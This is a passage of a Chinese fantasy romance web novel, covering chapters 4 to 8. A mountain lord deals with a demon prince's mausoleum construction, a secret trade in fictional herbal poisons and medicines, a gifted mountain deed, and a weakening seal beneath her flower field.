贺缃叶瞧着云青冥的模样,语气虽仍是冷傲,但眼神却有一丝躲闪。
有点意思。
兴许这个女人能成为她对付云青冥的突破口。
两人走后,山上安静了许多,贺缃叶也借故告辞了,只剩下云青骊和工匠们。
妖王为了监督工事,特派了一名唤田赤的心腹前来,此妖善土作,说是相助,实则还是不完全信任自己这个儿子。
“三殿下,工程可安排好了?”
云青骊将图纸展开,指着地宫的位置说道:“先建地宫,再修祭殿。田大人,今日便开始凿山挖地道。”
“下官手下有一批善挖掘的妖,不知可能为殿下效力?”田赤弯腰,动作十分恭敬,但语气带着一丝强硬。
“不劳烦田大人,本殿已准备好穿山甲妖用于掘地,大人负责监工便是。”
“……是,殿下。”
山上有条不紊地忙了起来。
云青骊的主要任务是统筹大局,时刻掌握进度,外加处理一些临时状况。不过他时不时也会去工地瞧瞧,看有没有需要帮忙之处。
尽管他在卧龙峰周围加了一层结界,但掘山动静大,声音还是避无可避地传到了外面。
“山君,这才第一天,他们阵仗如此之大,奴婢在院中都能听到隐隐约约的声响,晚上睡觉怕是不得安稳了。”
月魄翻晒完院中草药,提着茶壶走进了屋中。
贺缃叶批阅奏报的手一顿,随即云淡风轻地开口:“睡觉时在房外加一道隔音符便好,不是什么大事。”
“也就您大度,都被欺负到头上了还客客气气地对他们。”月魄的嘴撅得老高。
晴山自矮几上站起来,敲了一下月魄的头:“不然呢?揍他们一顿出口气?你个小妮子,还学会开山君的玩笑了。”
“晴山,你再敲我的头,我就……”
“就如何?”
“就不给你做好吃的了。”月魄吭了一声。
晴山立刻妥协:“那好吧,我不敲了。但咱们山君既已答应了修陵,便不好再出尔反尔,有些事,能避则避,往后你也仔细些,当心祸从口出。”
“哪里有这么严重了?我瞧着……”<
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“晴山说得对。”贺缃叶突然插了一句。
月魄便不再多说什么了,只应道:“是,山君。”
贺缃叶放下手中的笔,今日事务较少,已经忙得差不多了。
“晴山,去将晒好的落日花取来。”
“是,山君。”
不多时,晴山依次提着三个大篮子走了进来,十篮花晒干才得了这么些,花海眼见着都稀松了许多。
“月魄,去拿我的炼药盒。”
“是,山君。”月魄从架子上取下一只小箱子。
待准备完毕,三人都带上手套,各司其职。
月魄负责捣碎落日花,将其杵成大一些的碎屑,晴山则将这些碎屑用碾子碾成粉末,最后由贺缃叶进行配比,制出一种名唤落日烟的褐色毒丸。而果子成熟后的红色落日花可以制成名为郁金裙的疗伤奇药。
“山君,这毒丸咱们还有一些,也不知琅月阁此次为何要得如此之急。”
闻言,贺缃叶手微微停顿,晴山所问,也正是她不解的。
每年落日果成熟之后,琅月阁都会从贺缃叶手中进一批落日烟和郁金裙,而这笔钱会被用于姑媱山的日常开销。但此次,琅月阁等不及,竟提前要一批毒药。
“咱们从不干涉他们,收钱便是,其他的不必理会。”
“是,山君。”晴山继续着手上碾药的动作。
“山君,再过十日,果子熟了,便可新制一批郁金裙,届时咱们又有一笔进项了。”月魄的语气中是藏不住的兴奋。
“嗯。”贺缃叶将曼珠沙华粉末按照一定比例倒进落日花粉中,嘱咐道,“近几日定要看好花海。”
“是,山君。”月魄瞧了眼天色,站了起来,“眼下已午时了,奴婢先去做饭。”
“去吧。”
贺缃叶将毒粉混合放在小竹匾中,用马蔺根刷蘸水使药粉湿润,接着旋转竹匾形成丸模,不停地重复加粉和水的工艺,逐层包裹,最后再以极细粉封层。
半个时辰后,月魄端着盘子进了屋。
“山君,午膳做好了。”
贺缃叶将手中的活计停下,对着晴山说道:“先用饭吧,晚点再继续。”
“是,山君。”晴山立刻去外面打了水来给贺缃叶净手。
三人吃完午膳,贺缃叶照例去小憩片刻,只是,今日才刚睡着,一声极大的轰鸣声便将她吵醒了。
贺缃叶猛地睁开眼,还以为有敌袭,半晌才反应过来是卧龙峰上在挖山。
“山君,可要再睡一会儿?奴婢去让他们动静小点儿。”晴山轻手轻脚地走了进来。
“不必。”贺缃叶翻身坐起,麻利地穿好靴子,去了外间。
“也不知这卧龙峰上怎会这么大动静,跟山崩地裂了一般。这若是离咱们再近些,怕是没有安生日子过了。”月魄一贯藏不住事,脱口而出几句抱怨之言。
“你少说几句。”晴山看贺缃叶的脸色不算好,悄悄地拍了拍月魄的手臂。
“你们再去采两篮落日花,咱们自留。今日争取将手上这批药丸都赶出来,明日送去琅月阁。”
“是,山君。”两人提着竹篮出了院子。
贺缃叶站在院中树下,看着卧龙峰的方向,若有所思。
5. 第 5 章
晴山和月魄很快便回来了,只是脸色都不太好。
“怎么了?”贺缃叶偏过头瞧着院门口的两人。
“山君,您是不知,方才我们遇到了那无礼的侍从,他问我们有没有吃食给他们,还一副理直气壮的模样,奴婢真的不曾见过如此厚颜无耻之人,占了我们的地还想吃白食!”
贺缃叶愣了半晌才问道:“你们如何回的?”
“奴婢自然是说没有。堂堂妖族三殿下竟想着占咱们平民的便宜,真是匪夷所思。亏得奴婢先前还觉得他和善,简直瞎了眼。”
“想来是工匠精力消耗过大,需要补给。”贺缃叶沉吟道,“晴山,送些吃食过去。”
“是,山君。”晴山领命而去。
“山君,咱们为何要如此委屈自己?他们实在是欺人太甚!”月魄气呼呼的。
贺缃叶看她的模样,忍不住笑了:“不过是些食物,不必如此介怀。”
料想是那名唤渌波的侍从说话不太好听,才惹得月魄发恼,但此处离妖族王宫较远,山上补给自是不易,若是她能助力一二,想来那云青骊往后也不会与她为难。
何况,这山上,有她要守护的东西,绝不能让他人破坏,还是少生枝节为好。
“好了,去将落日花晒上吧。咱们接着做药丸。”
“是,山君。”月魄虽然心情不佳,但还是乖乖去制药了。
主仆两人安静地在屋中忙碌着。
半个时辰后。
“山君,奴婢将吃食送过去了。”晴山进屋禀告。
“如何?”
“三殿下让奴婢将此物交给您。”晴山将一只盒子放在桌面上。
“是何物?”贺缃叶手未停,示意晴山打开。
盒中居然装着满满一盒上好的妖灵石。
这妖灵石是妖界通用货币,但也有上中下等之分,云青骊给的这一盒,每一块都是上品,别说一些吃食,甚至都足够买下她这座山了。
“山君,竟然有这么多妖灵石,这些都够咱们山上开销好几年了!”月魄惊叫出声。
贺缃叶的第一反应不是惊喜,而是担忧,她停下了手中的活,沉声吩咐:“送回去。”
说完又觉得不妥,加了一句:“算了,还是晚些时候我亲自还给他吧。”
“为何要还回去啊山君?您让他们在此修陵,还给他们住所和吃食,这些就当是补偿,收下也不为过吧~”月魄依依不舍地看着盒子。
晴山习惯性轻敲她的头:“你个小财迷!山君自有考量,听话便是。”
“我只是,觉得好可惜……”月魄小脸皱巴巴的。
“本就不属于咱们,有甚可惜的。”贺缃叶将盒子收了起来,全神贯注地制药。
直到薄暮冥冥,三人才将手中的活忙完。
“好累,终于做完了。”月魄边说边揉手腕。
晴山给屋子里点上灯,又去将院中草药收了起来,月魄见状,连忙做饭去了。
“山君,您歇歇。”晴山递过来一杯水。
贺缃叶接过,喝了两口,却听到院外有人说话。
“山君可在?”
“去看看。”
“是。”
晴山立刻出了院子,几息后带进来一人。
贺缃叶走到院中,抬眼正巧与其对视。
“三殿下来得正好,此物我不能收。”她将装满妖灵石的盒子拿出来递给云青骊。
“近日多有叨扰,山君若是不收,在下于心难安。”
“殿下的赠礼太过贵重,足以将我姑媱山买下,若是殿下执意如此,不若我将此山直接拱手相让?”
云青骊闻言一愣,似是没想到贺缃叶会如此直白,立刻解释:“我并非此意,山君莫恼。若是不喜,在下收回便是。”
贺缃叶毫不犹豫将盒子递了过去。
“我想同山君打个商量,不知可否?”
“何事?”
“王宫离此处甚远,补给不便,往后卧龙峰一应餐食可否交由山君负责?我愿以妖灵石交换。”
云青骊说完,看到贺缃叶的神情,立即解释:“只包括在下的午膳,不会过于劳烦山君。”
竟是他自己吃?按道理他贵为妖族三殿下,将自己府上的厨子带上山并非难事,为何要麻烦自己?
“可以。”
贺缃叶想着,若是以后他时不时要个吃食,反而麻烦,倒不如平等交换,何况方才已经拒绝了他,若是因为此等小事闹得太难看反倒面子上过不去。至于厨子一事,她也懒得问了。
云青骊打开方才的盒子,拿出一块灵石,语调温和:“有劳山君每日遣人备好午膳,在下派人来取,一月一结。”
这一块灵石抵一月饭钱绰绰有余,但贺缃叶也不好再过于较真,便示意晴山上前接了过来。
云青骊走后,贺缃叶将那块灵石捏在指尖,若有所思。
“山君,晚膳好了。”晴山在一旁轻声提醒。
贺缃叶回过神来,将灵石往妆台上一扔,起身用膳去了。
“山君,方才奴婢听到院中有人说话,是谁来了么?”月魄边吃边问。
“云青骊来了,他想用灵石换他一人的午膳,我已经同意,以后要辛苦你了。”贺缃叶说着给她夹了些菜。
“一个人的餐食,不麻烦,再说谁会跟灵石过不去啊。”月魄乐呵呵的。虽然不喜欢他们的态度,但方才她看到山君手上那颗上品灵石金光闪闪的,莫说只是些饭菜,便是鞍前马后也使得。
“你这丫头倒是钻钱眼去了。”晴山忍不住打趣,又觉得这其中有些不妥,“山君,三殿下为何要这么做?”
“不知。”贺缃叶快速进食,又喝了口汤,才放下碗,“不过左右对咱们没有坏处。”
“还有一事,因着修陵之事,最近山上的妖怪都怨声载道,说被吵得无法休息,影响修炼,他们找奴婢抱怨好多次了。”
贺缃叶抿抿唇:“给他们送些丹药符箓去。”
其实她心里很早就有一个想法,便是为姑媱山众妖另寻个去处。但此事尚无眉目,便不好宣之于众。
“另外,晴山,你私下问问他们,可愿离开姑媱山。”
晴山立刻会意:“山君是想为他们另谋个出处?”
“嗯。”贺缃叶点点头,“陵寝一旦修建完成,妖王定会将此山清空,归云家所有。”
与其届时被赶出去,不如早做打算。
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>“好,奴婢明日便去问。不过,山君想迁至何处?”
“还未曾想好。这附近无主之地甚少,待我考虑考虑。”
“是。”
“咱们也要走吗,山君?”月魄脸上笑意消失,取而代之的是忧愁。
贺缃叶摇头:“我们还走不了。”
“反正不管去哪,我都跟着山君!”
“好。”贺缃叶笑着点点头。
“对了,山君。”月魄搁下筷子,从怀中拿出一本书翻开,“奴婢去查了有关瞀视之症的相关资料,书上说此症可以药物和穴位之法配合,但见效慢,需长期坚持。”
贺缃叶接过书,顺着月魄手指的方向,看到几行字:
视赤如白症乃肝郁络滞,玄府阻遏,宜通窍活络,调肝养血。方药为远蒲四物汤辅以补肾还睛丸,或可按压“四白穴”,强压六秒配合吐气之法,或针灸晴明,风池等。此症病程漫长,医者与病者皆需耐心,坚持医治,多有效验。
“看起来倒不算特别复杂。”月魄合上书,“只是此症罕见,我也从未见过有治愈之人。”
但也算是一个筹码了。
“你们收拾完毕便去歇息吧,明日早些下山。”贺缃叶将书收入袖中,吩咐道。
“是,山君。”
待两人出去后,她启动床后藏着的阵盘,去了密室。
密室中,夜明珠熠熠生辉,映得屋内恍若白昼。
正中央挂着一幅画,画上是个极美的白衣女人,仙姿玉色,宛若空谷幽兰。
此人便是贺缃叶的师父,南筠雾。
贺缃叶的指尖轻轻划过画中人的眉眼,语调也绵软许多:“师父,缃儿好想您。”
“师父放心,缃儿定会守好姑媱山,任何人都不许破坏,您的心血。”
次日,天还未亮,贺缃叶便起床了,穿衣之时,她忽然感受到了一丝不同寻常的震动,紧接着,晴山匆忙走了进来。
“山君,出事了。”
“发生何事?”
“花海阵法有异动。”
闻言,贺缃叶翻身下床,冲了出去。
她以最快的速度赶至花海,天色尚早,云青骊他们还未上山,并无人发现此地异常。
整片青碧色花海似海浪一般起伏,且灵力翻涌,落日花生机流失,正在迅速枯萎。
“糟了!”
贺缃叶见此情景,当机立断布下结界,随即飞至半空,磅礴灵力自双手倾泻而出,源源不断落向花海。
“晴山,月魄,加固阵法。”她瞧见随后赶来的两人,沉声吩咐。
“是,山君。”两个婢女即刻行动起来。
月魄平日虽大大咧咧,毛毛躁躁的,但此时,脸上的神情也分外严肃。晴山自不必说,修为虽不及贺缃叶,却也不低。
三人合力之下,地动幅度小了许多,最后终于停歇。
“山君,为何会如此?”晴山秀眉微蹙,不解问道。
贺缃叶瞟了一眼卧龙峰的方向:“想来与他们掘山有关。”
“那若是他们一直挖,这阵法岂不是要时常修复?照此下去,咱们得累死!”月魄忍不住拔高音量。
“所以,咱们得想个法子。”
6. 第 6 章
贺缃叶撤掉结界,低声吩咐。
“月魄,你回沧浪居将落日烟取来,同我走趟琅月阁,我在山下候你。晴山,你留在此处补救那些生机流失的落日花,咱们同琅月阁的交易不能断。”
“是,山君。”两人各自领命而去。
天光渐亮,整座山都笼罩在薄雾之中,橘色光芒穿透云海,山间鸟儿啁啾,端得是舒适惬意。
然而贺缃叶无心赏景,她步履匆匆地朝山下走去。
才到山脚,便有辆兽车自远处驶来。定睛一看,是云青骊的车。
恰在此时,月魄也气喘吁吁地赶了过来,手上拿着一只盒子。
“山君,东西取来了。”
贺缃叶点点头,将盒子收入袖中,轻声道:“走吧。”
原本她想着装作没看到,但那兽车竟然不偏不倚地停在了两人面前。
她扫了一眼,赶车的侍卫不是先前那个咋呼无礼的小厮,看起来倒是顺眼了不少。
“缟羽见过山君。”那侍卫跳下车,朝她行礼。
贺缃叶应了一声,准备离去。
然而此时,帘子掀开,露出了云青骊那张颠倒众生的脸。
“山君这是要下山?”仍是不疾不徐,暖如微风的语调。
贺缃叶眉头轻轻动了下,不咸不淡地回:“有些事要下山一趟。殿下若有事可派人去寻我的侍女晴山。”
“好,山君慢走。”云青骊笑着应道。
不知为何,贺缃叶心里觉得怪怪的,这人看起来毫无攻击性,可总叫人无法拒绝。
但她也并未深想,眼下还有更重要的事要做。
***
一个时辰后,琅月阁天字号房中,贺缃叶正端坐于此。
这琅月阁是妖族最大的商行之一,专门售卖一些奇珍异宝,灵丹妙药,此间客人皆非富即贵。
贺缃叶与其做了五年生意,专供落日烟和郁金裙。虽说一年才产出一次,但因这两种药稀有,故而价格不菲。
以往都是晴山和月魄送药,但这次,琅月阁要得急,与往常有所不同,故而贺缃叶想亲自来瞧瞧。
“山君亲临,奴家有失远迎,还望您海涵!”门被推开,一个容貌艳丽的年轻女子面带笑容走了进来。
月魄低头轻声耳语:“山君,此人是琅月阁掌柜,绾娘。”
贺缃叶不动声色地观察了一番。
此女笑容可亲,眼神清亮,虽年岁不大,但却看起来沉稳大气,不卑不亢。
她坐下来给贺缃叶倒了杯茶,双手奉上,随即自我介绍:“奴家绾娘,是这琅月阁的掌柜,此番有客人要得急,还劳烦山君亲自跑一趟,实是奴家的不是。”
贺缃叶喝了口茶,顿了顿,然后轻轻摸一下杯盏,随即放下。
“不妨事。”她轻轻启唇。
“那便好。”绾娘拍手,小厮端着个木箱子进了屋,随后出去将门带上了。
“这是此次的药金,包括今年郁金裙的也一并在此,请山君笑纳。”
月魄上前打开箱子,与贺缃叶对视了一眼。
“掌柜这是何意?”
“山君莫要误会。”绾娘笑着应道,“此次提前交货,多的算是给山君的补偿。”
贺缃叶闻言,只点了点头,并未多言。
她自袖中拿出盒子,推到绾娘面前:“掌柜的点下货。”
绾娘将盒子推到一边:“不必点了,奴家自是信任山君。”
贺缃叶也不勉强,她眉心微动,试探着开口:“明年的交易怕是做不成了。”
“山君何出此言?”绾娘面上闪过一丝紧张。
“想必你也知晓,妖王在我姑媱山修陵一事,往后这落日花能否存活都是个问题。”
“山君于种花一道造诣高深,奴家相信便是换个地儿,您也有法子将其盘活。”绾娘复又笑了起来。
贺缃叶心下觉得好笑,这绾娘并没有看上去那么气定神闲。
“掌柜的嘴上说着信任我,但却无甚诚意。”
绾娘脸上笑容逐渐消失:“山君何出此言?”
“本山君与琅月阁做了几年生意,阁下对我姑媱山了如指掌,我却连这幕后东家都不知,往后这生意怕是难做。”贺缃叶将手边的茶盏端了起来。
绾娘沉默了几息,下一瞬,突然站起俯身行了个礼。
“是奴家之过,给山君赔个不是。奴家这便去请东家,山君稍后。”
绾娘出去后,月魄将那盒妖灵石收了起来。
“山君,您是如何知晓她并非这背后之人的?”
贺缃叶指了指桌上的茶盏。
“上好的君山银针,此乃贡茶,再者这玲珑瓷,成本高昂,工艺复杂且成品率极低,并不常见,这小小的琅月阁背后,应与王族相关。”
她之前也并未想过,此事会如此复杂。若是真扯上王族,只怕不好抽身。
一盏茶后,门被推开,一个让她意想不到的人走了进来。
贺缃叶死死抠着袖中的手,缓慢地站了起来。
“贺山君,又见面了。”来人一袭玄色暗纹衣袍,是几日前才见过的妖族太子云青冥。
“太子殿下,这是何意?”贺缃叶想到那日他故意在花海旁说的那些话,想来早如跳梁小丑一般看她。
云青冥虽冷着一张脸,说的话却少了许多锋芒。
“并非本君有意隐瞒,只是那日上山才发现与琅月阁做交易之人是你,当时也只是试探一番。你大可放心,本君会助你保住花海。若是你想迁去别处,也可助你一臂之力。”
保住花海?难道不是保住他的钱袋子吗?贺缃叶在心中冷嗤。若是早知如此,断不会与琅月阁做此交易,还是怪自己太过大意了,但眼下若是终止交易,怕是会有麻烦。
“不必劳烦殿下,我暂时还不曾有迁出的打算。”她将话在舌尖荡了个来回才说出口,“殿下若想相助,不妨帮我保住姑媱山。”
既然此人开口了,那有便宜不占白不占。何况贺缃叶可没忘了他曾经对自己的所作所为。眼下不能将他如何,利用下也是好的。
云青冥一时无话。
他听贺缃叶这言语,倒是有点为难他的意味,但偏生又是自己先开了口的,不好发作。
“本君尽量替你保住苍黎峰。”他眉心微蹙,这已是他能作出的最大让步了。
贺缃叶要的就是这句话。
妖王修陵,已是事实,她也不甚在意其他峰,唯一不能退让的只有花海一处,若是云青冥能出面保下苍黎峰,自是最好不过。<
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p>“多谢殿下。那殿下可知,这附近是否有无主山头?”
“你方才不是说并无迁出打算?”
“我是无打算,但我姑媱山妖怪众多,苍黎峰怕是住不下。”
云青冥拂了拂衣袖,一字一顿地盯着贺缃叶的眼睛:“本君会替你留意。”
“多谢殿下。”贺缃叶站了起来,微微笑着,“今年的郁金裙会如期送到,谢殿下款待,缃叶告辞。”
走出琅月阁,已近午时。
“山君,您看起来心情还不错?”月魄悄悄抬头看。
贺缃叶偏过头:“云青冥虽然狠辣无情,但言出必行,他既做出承诺,自是有把握。咱们当务之急便是保住花海,守住封印。”
“那您先前还对他一副讳莫如深的模样,如今态度却截然不同了。”
“自然是我对他有价值,他才愿意应我所求,既然如此,我捞些好处也是顺势而为,毕竟没有谁会和利过不去。”
贺缃叶虽然对于那梦境一般的前世心有余悸,但这一次,她定不会重蹈覆辙。
月魄点点头:“山君言之有理。”
说完她“哎呀”了一声:“眼下快午时了,此刻回去做饭怕是来不及了。三殿下的午膳……”
贺缃叶一时也忘记了这茬,没想到这一趟耽误了许久,她沉默了几息:“咱们去馔玉楼买些带回去。”
馔玉楼是妖都最大的酒楼,珍馐美味,应有尽有,唯一的不足便是价格不菲。
贺缃叶花了一块上品灵石才打包好了一桌子菜。原本她想着,只给云青骊带一份,但她主仆三人也要用饭,何况今日是个不错的日子,值得庆祝一番。
倒是月魄,看着那块灵石心疼了好久。
“山君,这馔玉楼的饭菜也太贵了,咱们一月才收三殿下一块上品灵石,今日就都花完了。”
“无妨。”贺缃叶瞧着她财迷的模样哭笑不得,“偶尔吃吃不碍事的,何况你家山君没那么穷。”
“那也得省着些花。”月魄提着两个食盒不住嘟囔。
“那,下月我便多收他些饭钱?”贺缃叶忍不住逗她。
月魄的眼睛立刻亮了起来,连连点头。
“你呀……”
两人赶回沧浪居之时,发现院中烟气缭绕。
“这是怎么了?”月魄一边掩面咳嗽,一边推开院门往里走。
贺缃叶挥了挥衣袖,也被呛得眼眶湿润。
“山君,竟然有人敢在咱们院子里放火,当真是胆大包天!”月魄被熏得睁不开眼。
没一会儿,烟气中跑出来一人。
“山君,您回来了……”晴山灰头土脸,脸上是少有的心虚。
“发生何事?”贺缃叶眉心微皱。
“方才你们还未回来,三殿下又派人来取午膳,所以奴婢就……”
月魄一脸生无可恋的模样冲进了灶房。
没多久,烟气便渐渐散去了。
“这个给云青骊送去。”贺缃叶指了指其中一个食盒。
“是,山君。”晴山低声应道。
“算了,我亲自去。”她想了想提着食盒往外走,“你们先用午膳,不必等我。”
“是。”
贺缃叶朝着卧龙峰走去,山道上十分安静。
7. 第 7 章
到达卧龙峰之时,已是午时两刻,众妖都在歇息。
“山君怎的来了?”云青骊自屋中走出,身后跟着那名为缟羽的侍从。
“给殿下送饭。”
“劳烦山君亲自过来一趟,餐食在下派人去取即可。”
贺缃叶将食盒递过去,简单解释:“今日我带月魄外出办事,回来得迟了,故而午膳晚了些,殿下见谅。”
缟羽上前接过站在一旁,云青骊笑道:“不妨事。山君可用过饭了?”
“尚未。”贺缃叶如实回答。
“瞧这餐食有些多,在下一人也用不完,不如山君留下共同用饭?有些事还需同山君商量一番。”今日的餐盒与昨日不同,看着像是馔玉楼的。
有事同她商量?
贺缃叶沉吟片刻后同意了。
只是饭桌上,两人都不说话,气氛有些许尴尬。
她吃了两口,咽下嘴里的食物,清清嗓子,问道:“不知殿下想同我商量何事?”
“山君莫急,用完午膳再说不迟。”云青骊慢条斯理地进食,仿佛在同旧识吃饭一般。
贺缃叶:此人脸皮竟比她还厚?
既如此,那她也没什么好顾虑的了。左右也是饿了,便拿着筷子认真吃了起来。
吃完饭,贺缃叶拿出帕子擦了擦嘴,心中感慨:果然是一颗上品灵石才买得起的菜肴,倒是不亏了。
缟羽迅速收走桌上的碗碟,接着将桌面收拾干净后上了茶和点心。
“殿下现在可以说了吧。”贺缃叶吃饱了耐心尚可。
云青骊倒了杯茶,放到她面前。
“不知山君,可否将郁金裙出售一些给在下?”
贺缃叶端起茶杯的手顿了顿,心中发笑。
如此看来,他们两人还真是兄弟。
她浅浅地饮了一口,茶是好茶,只可惜喝在嘴里变了味。
“殿下,你说晚了。”
“山君此言何意?”云青骊的脸色并无变化。
“今日我下山便是去同琅月阁做交易,郁金裙已经定给他们了。”
“山君可知,琅月阁背后是谁?”
“今日知晓了。”
云青骊见状,便未再追问,只道了一声好。
贺缃叶不想掺和进他和云青冥的明争暗斗中,也不再言语。
她正准备告辞,云青骊突然说了一句:“山君可考虑将姑媱山众妖迁出?”
怎的他也如此问?
“是有这个想法。”左右不是什么见不得人的事。
“在下有一山头,名唤涿光,离此三十里,若不嫌弃,此山可赠与山君。”
莫名其妙送座山给自己?若说他没有别的意图,贺缃叶万万不信。
她站起身,婉言谢绝,转身欲走。毕竟吃人嘴软,拿人手短。
”山君是怕,往后我用此事拿捏于你?”
贺缃叶转身的动作一顿,回过头反问:“难不成是殿下大发慈悲,不求回报?”
云青骊没想到她如此直白,愣了两息,失笑回道:“本就是因在下之故,才使得山君家园不复,涿光就当在下给的补偿,山君不必忧心往后我会因此事威胁你。”
如此坦荡的言语还有神情,倒叫贺缃叶不知说什么好了。
“不必了,告辞。”她一时不知对方真假,只匆匆离开了。
云青骊看着她离去的背影,有些晃神。
“殿下,她好像对咱们敌意很大。”缟羽说出了自己的想法。
“涿光的地契在何处?”云青骊问道。
渌波自外间走进来,顺着回答:“自是在殿下寝宫,殿下要它作甚?”
云青骊没理他,吩咐缟羽:“你回一趟宫将其取来。”
“是,殿下。”
渌波更疑惑了:“方才属下貌似看到贺山君了。她怎么来卧龙峰了?”
“她来送午膳。”
“那您要地契是作何用处?难不成她竟看上了您的涿光山?”渌波的声量不自觉地提高了。
“并非她看上,而是我打算赠予她。”
“殿下!”渌波有些激动,“那可是您的母妃留给您的,怎能如此轻易便送给了不相干之人?”
“相信母妃不会怪我的,何况她能成为姑媱山山主,也不算不相干之人吧……”云青骊的语气中第一次带着不确定。
“殿下……”渌波还在试图劝说。
可云青骊似乎想起了什么,从袖中拿出了一幅画。
“渌波你还记得吗?少时母亲画了此图给我,我一直很想来姑媱山看看这棵树。”他用手轻抚着画中的树。
“可,父王不许我出宫,我便一直没有机会,直到那日……我站在树下,感受十分奇特,仿佛能够体会母妃当年立于此处的心绪一般。”
“我在贺缃叶身上,隐约看到了母妃的影子,她们性格不同,却又有共通之处。”
“殿……殿下,你……你不会是……”渌波头一回看到自家殿下如此,惊得说话都不利索了。
云青骊回过神来,笑容温和:“我自是不会将她当作母妃。”
“那……那便好。”渌波松了口气。
没过多久,缟羽便回来了。
“殿下,地契在此。”他双手奉上一只盒子。
云青骊没接,挥了挥手:“直接送去沧浪居。”
“是,殿下。”缟羽虽然不舍,但殿下的决定他定会遵从。
卧龙峰上,午休结束,工事又继续展开了。
缟羽朝苍黎峰走去,到达沧浪居之时,院门紧闭。
他抬手轻轻敲了敲门:“山君可在?”
出来的人是晴山。
他将装着地契的盒子拿了出来:“阁下便是晴山姑娘吧?在下是三殿下的侍卫缟羽,特来替我家殿下将此物送给山君。”
“此乃何物?”晴山没接。
“在下只管听命行事,还请晴山姑娘收下,山君自会知晓。”
晴山抿了抿唇,接了过来:“有劳。”
“告辞。”
院门被重新关上,晴山向屋中走去。
贺缃叶回来后便在榻上小憩,但却不怎么睡得着。
她听到了有人敲门,料想是云青骊,故而不想动弹,只叫晴山去将人打发走。
谁知晴山捧着一只盒子走了进来。
“山君,这是三殿下的侍卫缟羽送来的,说是您一看便知。奴婢本想拒绝,可他看起来十分坚持。”
“打开看看。”贺缃叶从榻上坐起来。
晴山打开后递了过来。
“山君,是涿光山的地契。”
贺缃叶看着那张地契没说话。
“山君,三殿下这是将涿光山送给咱们了吗?”一旁的月魄惊得瞪大了眼睛。
“
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既是赠礼,也是束缚。”贺缃叶将地契放回盒中,“他方才提出想从我这里购入郁金裙,但我已同云青冥达成了交易,此时若收下云青骊的地契,往后怕是会两头落不了好。”
“那奴婢这便将此物还回去?”晴山合起盖子。
然而贺缃叶摇了摇头:“不必。原本与云青冥之间也无异于与虎谋皮,上次顺嘴一提,他也并未应承于我,若是得寸进尺怕会招来祸事。眼下云青骊负责修陵,用补偿这一理由向我示好,便是收下,说出去咱们也不理亏。”
“山君思虑周全。对了,奴婢问过山上众妖,有的愿意迁走,有的却不愿意离开。”晴山将盒子放在贺缃叶手边。
“人之常情。过几日找个机会去涿光瞧瞧,先将愿意迁出的妖转移过去,不愿意走的暂不勉强。”贺缃叶盯着盒子看了两息,“去把咱们自存的那箱郁金裙送到卧龙峰。”
“山君!”月魄一惊一乍的,“那可是您留着自用的,仅此一箱,就这样轻易送给三殿下了?”
“你可知晓这张地契价值几何?”贺缃叶目光落在盒子上。
“总不能比咱们这山还值钱吧?”
“涿光灵气充沛,山上灵树灵草众多,说是一处小灵脉也不为过。”
“啊?”月魄一脸惊讶,随后觉得有些不对劲,“这么值钱那为何三殿下说赠便赠?莫不是看上山君您了?”
贺缃叶闻言一愣,随即失笑:“你成天都在想些什么?不过是有所图谋罢了,毕竟一箱郁金裙也不便宜。”
说完,她朝着晴山示意:“去吧。”
晴山走后,贺缃叶带着月魄去了花海。
所幸,花海仍枝繁叶茂,生机不断。
“山君,再有七日果子便成熟了,也不知这封印能不能撑到那时?”
月魄所言,也是贺缃叶忧心之处。
“此阵乃多年前,师父用她的断水剑辅以肉身精魄所成,我种落日花也是为了帮助压制。想来是法力在消退,又加之掘山,这才使得封印松动。”
贺缃叶说完,看着逐渐变黄的果子微微出神。
“月魄,我记得你藤妖一族有种缚地阵法,能够加固封印的,你可还记得?”
“奴婢是有些印象。”月魄的语气有些颓丧,“可也只是少时听族人提起过,记得并不全,奴婢离开藤妖族多年,怕是寻不到他们了。”
贺缃叶的眼中闪过一丝失落,但很快恢复如初:“你还记得哪些?”
“好像需要藤妖一族的血,还有九霄玄铁,还有……还有……”月魄冥思苦想,但仍是没说出什么来。
她一脸自责地看着贺缃叶:“山君,都怪我脑子不好使,否则也不至于连个阵法都记不住。”
“不怪你,尽力便好。”
“山君,奴婢去查,定会查到的!”月魄单膝下跪。
“你这是做什么?我并未责怪于你,快起来。”贺缃叶立即将她扶起。
两人回到沧浪居,晴山已经回来了。
“山君,三殿下让奴婢转达对您的谢意,说是过几日涿光山便能收拾好,您可以将一批妖先迁过去。”
贺缃叶点点头,云青骊做得倒是周全。只是她忧心封印,接下来的五日都在屋中翻找古籍。
那日她翻阅到亥时,忽然感到了强烈的地动,顿觉不妙。
“晴山,月魄,去花海!”她直接从院子里飞了出去。
8. 第 8 章
花海在月光的映衬之下煞是好看,只是那比前次更为汹涌的地动和流逝更快的生机让贺缃叶的眉头紧锁,无心欣赏。
没想到上次三人合力竟只维持了五日。
她布下结界,仍旧将灵力源源不断地注入阵法,但此次明显要比上次吃力得多。
晴山和月魄赶到之时,她的额头已经冒出了细密的汗珠,而后她沉声吩咐:“固阵。”
“是,山君。”
三人合力,但主要的压力仍在贺缃叶身上,她感觉愈发吃不消,便只好使出全力,但也因为过度消耗从半空摔了下来。
千钧一发之际,有人扶住了她的背。
她稳住身子,猛地后退了两步,看向来人。
“多谢殿下。”
“举手之劳。”
贺缃叶沉默两息,虽然暂时加固了封印,但竟被云青骊撞破了此事,怕是不能善了。
“殿下为何在此?”这个时候修陵的都已经下山了。
“我忘了拿图纸,便回来一趟。”云青骊将手中的卷轴扬了扬。
看来他也并非故意为之。但……
“殿下都看到了?”
“若说没瞧见,山君也不会信。”云青骊将卷轴放入袖中,语气温和,“只不过山君放心,在下不会将此事宣扬出去。”
“殿下觉得,我能放心吗?”贺缃叶反问。
“那山君想要我如何做?”
贺缃叶心中计较着将他灭口会有多大把握,随即很快便否定了。
其实这花海的秘密也不是不能宣之于口,左右不是什么见不得人之事,师父所愿也只是希望她护住这山间生灵,不过她不想将师父当作谈资,何况她跟云青骊并没有那么熟。
“殿下,你可听过缚地之阵?”
她可以将封印一事告诉云青骊,但更多的确是不能了。
“缚地之阵?”云青骊微愣,随后点点头,“听过。”
“若是殿下能告知此阵所成之法,我便相信殿下会守口如瓶。”
不能怪贺缃叶奸诈,只是如今局势如此,也没有更好的法子了,只能怪他来的不是时候。
云青骊思忖几息,没有发恼,仍在笑着:“山君此言倒是有些霸道了。此阵乃藤妖一族的上古阵法,你身旁的侍女都不知,在下如何得知?”
贺缃叶没有争辩,只言:“殿下应是不应?”
虽然不知道他的把柄,但是妖王将修陵一事交给他,若是办砸了他绝对不会有好果子吃。
